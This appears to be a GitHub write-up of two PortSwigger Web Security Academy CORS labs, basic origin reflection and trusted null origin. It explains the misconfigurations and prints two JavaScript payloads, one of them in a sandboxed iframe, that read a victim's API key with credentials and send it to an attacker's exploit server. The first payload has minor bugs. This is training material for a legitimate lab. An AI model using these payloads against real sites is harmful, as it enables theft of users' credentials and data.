portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following APPRENTICE-level labs from the PortSwigger Web Security Academy related to Cross-origin resource sharing (CORS):

1 CORS vulnerability with basic origin reflection

This lab demonstrates how an application reflects the Origin header insecurely, leading to CORS misconfigurations.

2 CORS vulnerability with trusted null origin

This lab shows how trusting the null origin can lead to CORS vulnerabilities that attackers can exploit.

LAB 1 - CORS vulnerability with basic origin reflection

Lab Description

image

Solution

The target application is an online shop. After logging in with the provided credentials,

image

I navigated to the “My Account” section. Using Burp Suite, I observed that the /my-account page makes an internal request to /accountDetails to retrieve the API key for the user “wiener”.

image

The HTTP response from this endpoint includes the following header:

Access-Control-Allow-Credentials: true

image

This suggests that the server may allow cross-origin requests using credentials (e.g., cookies). I then modified the Origin header in a request to /accountDetails and tested it using a domain such as evil.me (instead of the actual origin).

The server reflected the origin value inside the Access-Control-Allow-Origin header:

Access-Control-Allow-Origin: evil.me
Access-Control-Allow-Credentials: true

image

This behavior indicates a CORS misconfiguration — the server accepts and reflects arbitrary origins while allowing credentials. This can be exploited to access sensitive data cross-origin using JavaScript.


Exploitation Plan

The exploit script performs the following steps:

  1. Sends a cross-origin request to the /accountDetails endpoint using XMLHttpRequest.
  2. Parses the API key and username from the JSON response.
  3. Sends the exfiltrated data to an attacker-controlled server (e.g., the exploit server).

JavaScript Payload (Deployed on Exploit Server)

<script>
var r = new XMLHttpRequest();
r.open('get', 'https://ac751fb51e9a30b8c0e42a370085005c.web-security-academy.net/accountDetails', false);
r.withCredentials = true;
r.send();
const obj = JSON.parse(r.response Text);
var r2 = new XMLHttpRequest();
r.open('get', 'https://exploit-ac331fea1e9c3019c02f2a21017000ad.web-security-academy.net/?user=' + obj.username + '&apikey=' + obj.apikey, false)
r.send();
</script>

image


Results

After delivering the payload to the victim (via the exploit server), the browser automatically made a cross-origin request to /accountDetails, and the data was exfiltrated to the attacker’s server. This includes:

image

The lab is successfully solved once the stolen API key is logged.

image



LAB 2 - CORS vulnerability with trusted null origin

Lab Description

image

Solution

Overview: CORS Exploitation via null Origin Whitelist

Cross-Origin Resource Sharing (CORS) is enforced through specific HTTP headers to control access across different origins. Applications that misconfigure these headers—especially by whitelisting insecure origins like null—can expose themselves to serious security vulnerabilities.


Common Origin Header Misconfigurations

1. Subdomain Matching Errors

Applications that attempt to whitelist domains ending or beginning with a specific string can introduce security gaps if proper boundary checks are not enforced.

Example: If the application intends to allow:

normal-website.com

Then the following attacker-controlled domains could bypass this check:

These origin-matching implementations are flawed if they rely on string.contains() or similar logic rather than strict origin comparison.


2. Whitelisting the null Origin

The Origin: null header is used in several edge-case scenarios, including:

If an application explicitly allows null in the Access-Control-Allow-Origin header, it becomes vulnerable to cross-origin attacks from these non-standard origins.

Example Request:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: null

Vulnerable Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

This indicates the application trusts the null origin, and credentials (e.g., cookies) can be sent along with the request.


Solution Walkthrough

1. Login and Observation

Log in using:

Username: wiener
Password: peter

image

Then, navigate to the “My Account” page.

Inspecting the request to /accountDetails reveals that:

image

Modifying the request with a fake origin (e.g., evil.com) does not trigger a response header. However, using:

Origin: null

Returns:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

This confirms that null is whitelisted.

image


2. Exploit via Sandboxed iframe

Since sandboxed iframes can trigger a null origin, we embed our payload in an iframe using the sandbox attribute.

Exploit Payload:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
  var req = new XMLHttpRequest();
  req.onload = function() {
    location = 'https://exploit-your_id.exploit-server.net/log?key=' + encodeURIComponent(this.responseText);
  };
  req.open('GET', 'https://vulnerable-website.com/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
"></iframe>

image

Replace the endpoint URLs as appropriate for the lab environment.

Once the payload is delivered to the victim, access the Access Log on your exploit server.

image

Submit the API key of administrator to solve the lab.

image

```